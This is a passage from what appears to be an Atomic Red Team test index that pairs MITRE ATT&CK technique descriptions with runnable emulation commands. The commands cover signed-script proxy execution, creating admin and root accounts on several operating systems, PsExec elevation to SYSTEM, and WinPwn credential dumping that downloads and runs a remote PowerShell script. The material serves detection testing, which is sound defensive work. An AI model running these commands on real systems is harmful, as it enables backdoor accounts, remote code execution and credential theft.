        for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation:
        Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity
        audit policies across the enterprise and with externally accessible services.
        (Citation: TechNet Audit Policy) Look for suspicious account behavior across
        systems that share accounts, either user, admin, or service accounts. Examples:
        one account logged into multiple systems simultaneously; multiple accounts
        logged into the same machine simultaneously; accounts logged in at odd times
        or outside of business hours. Activity may be from interactive login sessions
        or process ownership from accounts being used to execute binaries on a remote
        system as a particular account. Correlate other security systems with login
        information (e.g., a user has an active login session but has not entered
        the building or does not have VPN access).\n\nMonitor property changes in
        Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)).
        The <code>Store passwords using reversible encryption</code> configuration
        should be set to Disabled. Additionally, monitor and/or block suspicious command/script
        execution of <code>-AllowReversiblePasswordEncryption $true</code>, <code>Set-ADUser</code>
        and <code>Set-ADAccountControl</code>. Finally, monitor Fine-Grained Password
        Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      - Azure AD
      - Google Workspace
      - IaaS
      - Office 365
      - SaaS
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Access'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Authentication'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Creation'
      - 'User Account: User Account Modification'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Cloud Service: Cloud Service Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
      created: '2020-02-11T19:01:56.887Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556
        external_id: T1556
      - source_name: Clymb3r Function Hook Passwords Sept 2013
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
      - source_name: Xorrior Authorization Plugins
        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
          Authorization Plugins. Retrieved April 22, 2021.
        url: https://xorrior.com/persistent-credential-theft/
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - source_name: dump_pwd_dcsync
        description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for
          All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.
        url: https://adsecurity.org/?p=2053
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1216:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Praetorian
      - Wes Hurd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1216
        url: https://attack.mitre.org/techniques/T1216
      - source_name: GitHub Ultimate AppLocker Bypass List
        url: https://github.com/api0cradle/UltimateAppLockerByPassList
        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
          April 10, 2018.
      - source_name: LOLBAS Project
        url: https://github.com/LOLBAS-Project/LOLBAS#criteria
        description: Oddvar Moe et al. (2022, February).  Living Off The Land Binaries,
          Scripts and Libraries. Retrieved March 7, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: 'Adversaries may use trusted scripts, often signed with certificates,
        to proxy the execution of malicious files. Several Microsoft signed scripts
        that have been downloaded from Microsoft or are default on Windows installations
        can be used to proxy execution of other files.(Citation: LOLBAS Project) This
        behavior may be abused by adversaries to execute malicious files that could
        bypass application control and signature validation on systems.(Citation:
        GitHub Ultimate AppLocker Bypass List)'
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Signed Script Proxy Execution
      x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
        parameters for scripts like PubPrn.vbs that may be used to proxy execution
        of malicious files.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1216
    atomic_tests:
    - name: SyncAppvPublishingServer Signed Script PowerShell Command Execution
      auto_generated_guid: 275d963d-3f36-476c-8bef-a2a3960ee6eb
      description: |
        Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
        Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: A PowerShell command to execute.
          type: string
          default: Start-Process calc
      executor:
        command: 'C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"

          '
        name: command_prompt
    - name: manage-bde.wsf Signed Script Command Execution
      auto_generated_guid: 2a8f2d3c-3dec-4262-99dd-150cb2a4d63a
      description: 'Executes the signed manage-bde.wsf script with options to execute
        an arbitrary command.

        '
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: A command to execute.
          type: path
          default: "%windir%\\System32\\calc.exe"
      executor:
        command: |
          set comspec=#{command_to_execute}
          cscript %windir%\System32\manage-bde.wsf
        cleanup_command: 'set comspec=%windir%\System32\cmd.exe

          '
        name: command_prompt
  T1556.004:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
      type: attack-pattern
      created: '2020-10-19T17:58:04.155Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.004
        url: https://attack.mitre.org/techniques/T1556/004
      - source_name: Mandiant - Synful Knock
        url: https://www.mandiant.com/resources/synful-knock-acis
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: Network Device Authentication
      description: |-
        Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

        [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574.004:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Dylib Hijacking
      description: |-
        Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

        Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
        modifying dylibs. Changes in the set of dylibs that are loaded by a process
        (compared to past behavior) that do not correlate with known software, patches,
        etc., are suspicious. Check the system for multiple dylibs with the same name
        and monitor which versions have historically been loaded into a process. \n\nRun
        path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>,
        and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS
        loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation:
        Apple Developer Doco Archive Run-Path) These loader instructions can be examined
        for individual binaries or frameworks using the <code>otool -l</code> command.
        Objective-See's Dylib Hijacking Scanner can be used to identify applications
        vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
        Github EmpireProject HijackScanner)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
      created: '2020-03-16T15:23:30.896Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/004
        external_id: T1574.004
      - source_name: MalwareUnicorn macOS Dylib Injection MachO
        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
          Retrieved March 29, 2021.
        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
      - source_name: Apple Developer Doco Archive Run-Path
        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
          March 31, 2021.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
      - source_name: Wardle Dylib Hijacking OSX 2015
        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
          March 29, 2021.
        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
      - source_name: Writing Bad Malware for OSX
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
      - source_name: Wardle Dylib Hijack Vulnerable Apps
        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
          Apps. Retrieved March 31, 2021.
        url: https://objective-see.com/blog/blog_0x46.html
      - source_name: wardle artofmalware volume1
        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
          0x1: Analysis. Retrieved March 19, 2021.'
        url: https://taomm.org/vol1/pdfs.html
      - source_name: Github EmpireProject HijackScanner
        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
      - source_name: Github EmpireProject CreateHijacker Dylib
        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
          Hijacker. Retrieved April 1, 2021.
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1601.002:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d
      type: attack-pattern
      created: '2020-10-19T19:53:10.576Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1601.002
        url: https://attack.mitre.org/techniques/T1601/002
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Downgrade System Image
      description: "Adversaries may install an older version of the operating system
        of a network device to weaken security.  Older operating system versions on
        network devices often have weaker encryption ciphers and, in general, fewer/less
        updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn
        embedded devices, downgrading the version typically only requires replacing
        the operating system file in storage.  With most embedded devices, this can
        be achieved by downloading a copy of the desired version of the operating
        system file and reconfiguring the device to boot from that file on next system
        restart.  The adversary could then restart the device to implement the change
        immediately or they could wait until the next time the system restarts.\n\nDowngrading
        the system image to an older versions may allow an adversary to evade defenses
        by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).
        \ Downgrading of a system image can be done on its own, or it can be used
        in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).
        \ "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'Many embedded network devices provide a command to print
        the version of the currently running operating system.  Use this command to
        query the operating system for its version number and compare it to what is
        expected for the device in question.  Because image downgrade may be used
        in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001),
        it may be appropriate to also verify the integrity of the vendor provided
        operating system image file. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1078.003:
    technique:
      modified: '2023-07-14T13:04:04.591Z'
      name: 'Valid Accounts: Local Accounts'
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      - Network
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      created: '2020-03-13T20:26:46.695Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/003
        external_id: T1078.003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: Password for art-test user
          type: string
          default: "-4RTisCool!-321"
      executor:
        command: |-
          net user art-test /add
          net user art-test #{password}
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Create local account with admin privileges - MacOS
      auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: |-
          dscl . -create /Users/AtomicUser
          dscl . -create /Users/AtomicUser UserShell /bin/bash
          dscl . -create /Users/AtomicUser RealName "Atomic User"
          dscl . -create /Users/AtomicUser UniqueID 503
          dscl . -create /Users/AtomicUser PrimaryGroupID 503
          dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
          dscl . -passwd /Users/AtomicUser mySecretPassword
          dscl . -append /Groups/admin GroupMembership AtomicUser
        cleanup_command: sudo dscl . -delete /Users/AtomicUser
        name: bash
        elevation_required: true
    - name: Create local account with admin privileges using sysadminctl utility -
        MacOS
      auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - macos
      executor:
        command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password
          !pass123! -admin
        cleanup_command: sysadminctl interactive -deleteUser art-tester
        name: bash
        elevation_required: true
    - name: Enable root account using dsenableroot utility - MacOS
      auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac
      description: After execution the current/new user will have root access
      supported_platforms:
      - macos
      executor:
        command: |-
          dsenableroot #current user
          dsenableroot -u art-tester -p art-tester -r art-root #new user
        cleanup_command: |-
          dsenableroot -d #current user
          dsenableroot -d -u art-tester -p art-tester #new user
        name: bash
        elevation_required: true
    - name: Add a new/existing user to the admin group using dseditgroup utility -
        macOS
      auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875
      description: After execution the current/new user will be added to the Admin
        group
      supported_platforms:
      - macos
      executor:
        command: dseditgroup -o edit -a art-user -t user admin
        cleanup_command: dseditgroup -o edit -d art-user -t user admin
        name: bash
        elevation_required: true
    - name: WinPwn - Loot local Credentials - powerhell kittie
      auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912
      description: Loot local Credentials - powerhell kittie technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          obfuskittiedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: WinPwn - Loot local Credentials - Safetykatz
      auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4
      description: Loot local Credentials - Safetykatz technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          safedump -consoleoutput -noninteractive
        name: powershell
        elevation_required: true
    - name: Create local account (Linux)
      auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357
      description: 'An adversary may wish to create an account with admin privileges
        to work with. In this test we create a "art" user with the password art, switch
        to art, execute whoami, exit and delete the art user.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          password=$(openssl passwd -1 art)
          ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
          su art -c "whoami; exit"
        cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser
          -y art

          '
    - name: Reactivate a locked/expired account (Linux)
      auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
          usermod --lock art
          usermod --expiredate "1" art
          usermod --unlock art
          usermod --expiredate "99999" art
          su art
          whoami
          exit
        cleanup_command: "userdel -r art \n"
    - name: Reactivate a locked/expired account (FreeBSD)
      auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf'
      description: "A system administrator may have locked and expired a user account
        rather than deleting it. \"the user is coming back, at some stage\" An adversary
        may reactivate a inactive account in an attempt to appear legitimate. \n\nIn
        this test we create a \"art\" user with the password art, lock and expire
        the account, try to su to art and fail, unlock and renew the account, su successfully,
        then delete the account.\n"
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          pw useradd art -g wheel -s /bin/sh
          echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
          pw lock art
          pw usermod art -e +1d
          pw unlock art
          pw user mod art -e +99d
          su art
          whoami
          exit
        cleanup_command: "rmuser -y art \n"
    - name: Login as nobody (Linux)
      auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh
          --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody)
          nobody\nsu nobody\nwhoami\nexit\n"
        cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep
          nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
    - name: Login as nobody (freebsd)
      auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310
      description: 'An adversary may try to re-purpose a system account to appear
        legitimate. In this test change the login shell of the nobody account, change
        its password to nobody, su to nobody, exit, then reset nobody''s shell to
        /usr/sbin/nologin.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged
          user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho
          $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n"
        cleanup_command: |
          pw usermod nobody -s /usr/sbin/nologin
          cat /etc/passwd |grep nobody
          # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
    - name: Use PsExec to elevate to NT Authority\SYSTEM account
      auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733
      description: "PsExec is a powerful tool most known for its remote management
        capability. However, it can also be used to run processes as the local system
        account.\n\nThe local system account is a default windows account which has
        unrestricted access to all system resources.\n\nUpon successful execution,
        PsExec.exe will spawn a command prompt which will run 'whoami' as the local
        system account and then exit.    \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        name: command_prompt
        elevation_required: true
        command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula
          -s %COMSPEC% /c whoami

          '
  T1211:
    technique:
      modified: '2023-10-15T11:41:47.274Z'
      name: Exploitation for Defense Evasion
      description: |-
        Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

        Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

        There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_deprecated: false
      x_mitre_detection: Exploitation for defense evasion may happen shortly after
        the system has been compromised to prevent detection during later actions
        for for additional tools that may be brought in and used. Detecting software
        exploitation may be difficult depending on the tools available. Software exploits
        may not always succeed or may cause the exploited process to become unstable
        or crash. Also look for behavior on the system that might indicate successful
        compromise, such as abnormal behavior of processes. This could include suspicious
        files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
        for attempts to hide execution or evidence of Discovery.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - SaaS
      - IaaS
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - System access controls
      type: attack-pattern
      id: attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1211
        external_id: T1211
      - source_name: Salesforce zero-day in facebook phishing attack
        description: Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day
          in Facebook phishing attack. Retrieved September 18, 2023.
        url: https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/
